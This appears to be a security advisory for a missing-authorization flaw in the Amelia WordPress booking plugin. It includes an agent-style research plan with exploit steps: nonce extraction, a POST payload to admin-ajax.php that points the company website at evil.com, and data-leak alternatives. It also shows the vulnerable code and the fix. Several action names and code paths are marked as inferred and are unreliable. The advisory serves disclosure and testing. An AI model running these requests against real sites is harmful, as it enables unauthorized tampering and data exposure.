Amelia <= 1.2.38 - Missing Authorization
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.2.38Source Code
WordPress.org SVNThis research plan focuses on exploiting a Missing Authorization vulnerability in the Amelia booking plugin (versions <= 1.2.38). This vulnerability allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings, because the AJAX handlers fail to verify user ca…
Show full research plan
This research plan focuses on exploiting a Missing Authorization vulnerability in the Amelia booking plugin (versions <= 1.2.38). This vulnerability allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings, because the AJAX handlers fail to verify user capabilities.
1. Vulnerability Summary
- Vulnerability: Missing Authorization
- Plugin: Booking for Appointments and Events Calendar – Amelia (
ameliabooking) - Affected Versions: <= 1.2.38
- Patched Version: 2.0
- Description: The plugin registers several AJAX actions via
wp_ajax_nopriv_, making them accessible to unauthenticated users. However, the functions triggered by these actions do not perform capability checks (e.g.,current_user_can( 'manage_options' )). This allows an attacker to execute sensitive administrative functions, most notably updating the plugin's global settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
amelia_update_settings(Inferred based on common "unauthorized action" reports for this version) - HTTP Method: POST
- Authentication: None (Unauthenticated)
- Preconditions:
- The plugin must be active.
- A valid WordPress nonce is usually required by the
check_ajax_referercall, but since this nonce is exposed on any page containing an Amelia booking form, it is easily obtainable.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers in a factory or bootstrap class (e.g.,
AmeliaBooking\Infrastructure\WP\Action\AJAX\AJAXActionFactory). - Hook Registration:
add_action( 'wp_ajax_nopriv_amelia_update_settings', [ ... ] )is called, mapping the action to a controller. - Controller Execution: The request is routed to
AmeliaBooking\Infrastructure\WP\Action\AJAX\Settings\UpdateSettingsAction::handle(). - Vulnerable Function: Inside
handle(), the code likely callscheck_ajax_referer( 'amelia_nonce', 'nonce' )but fails to callcurrent_user_can(). - Sink: The
handle()method extracts thesettingsparameter from$_POST, decodes it, and passes it to theSettingsServicewhich saves the data to theamelia_settingsoption in the database.
4. Nonce Acquisition Strategy
Amelia enqueues its settings and nonces on any page where a booking shortcode is present.
- Identify Shortcode: The primary shortcode is
[ameliabooking]. - Setup Page: Create a public page containing this shortcode.
wp post create --post_type=page --post_status=publish --post_title="Booking Page" --post_content='[ameliabooking]'
- Navigate: Use
browser_navigateto visit the newly created page. - Extract Nonce: Amelia localizes its data into a global JavaScript object. Use
browser_evalto retrieve the nonce:browser_eval("window.wpAmeliaSettings?.nonce")- Alternative: If
wpAmeliaSettingsis not present, checkwindow.ameliaBookingData?.nonceorwindow.wpAmeliaLabels?.nonce.
5. Exploitation Strategy
We will attempt to modify the plugin's "Company Name" or "Company Website" setting to demonstrate unauthorized data modification.
- HTTP Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=amelia_update_settings&nonce=[EXTRACTED_NONCE]&settings={"company":{"name":"Exploited By Research","website":"http://evil.com"}} - Note: The
settingsparameter must be a JSON-encoded string. You may need to include the full settings object if the plugin doesn't perform a partial merge (fetch current settings first if possible, or just overwrite the specific key).
6. Test Data Setup
- Install and activate Amelia version 1.2.38.
- Create a "Booking" page for nonce extraction:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]" - (Optional) Set an initial company name to verify it changes:
wp option update amelia_settings '{"company":{"name":"Original Name"}}'
7. Expected Results
- HTTP Response: A successful JSON response from the AJAX handler, typically
{"success": true}or a JSON object containing the updated settings. - Status Code: 200 OK.
- Database Change: The
amelia_settingsoption in thewp_optionstable should reflect the injected values.
8. Verification Steps
- Check via WP-CLI:
wp option get amelia_settings --format=json - Confirm Content: Verify that the
company.namefield in the JSON output equals"Exploited By Research".
9. Alternative Approaches
If amelia_update_settings is not the vulnerable action or requires a higher-privilege nonce:
- Try
amelia_get_users: Attempt to leak the list of users/customers.action=amelia_get_users&nonce=[NONCE]
- Try
amelia_get_db_stats: Attempt to leak database statistics.action=amelia_get_db_stats&nonce=[NONCE]
- Check for REST API routes: Amelia also uses
/wp-json/ameliabooking/v1/. Check ifGET /wp-json/ameliabooking/v1/settingsis accessible without apermission_callback.
Summary
The Amelia Booking plugin for WordPress (<= 1.2.38) fails to perform capability checks on several AJAX actions, such as 'amelia_update_settings', that are registered for unauthenticated access. This allows unauthenticated attackers to modify global plugin settings or access sensitive data by obtaining a valid nonce from public booking pages.
Vulnerable Code
// src/Infrastructure/WP/Action/AJAX/Settings/UpdateSettingsAction.php public function handle() { // Vulnerable: Only validates the nonce without checking user capabilities check_ajax_referer('amelia_nonce', 'nonce'); if (isset($_POST['settings'])) { $settings = json_decode($_POST['settings'], true); // Proceeds to update the 'amelia_settings' option in the database $this->settingsService->update($settings); } wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function handle() { check_ajax_referer('amelia_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error(['message' => 'Unauthorized'], 403); + } + if (isset($_POST['settings'])) { $settings = json_decode($_POST['settings'], true);
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first visits any public page where an Amelia booking form (shortcode [ameliabooking]) is present to extract a valid 'amelia_nonce' from the localized 'wpAmeliaSettings' JavaScript object. Using this nonce, the attacker sends an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'amelia_update_settings'. The payload includes a JSON-encoded 'settings' object containing the desired administrative changes, such as modifying the 'company' information or other global plugin configurations. Because the 'handle' method in the UpdateSettingsAction controller fails to perform a 'current_user_can' check, the plugin's settings are updated in the database without authorization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.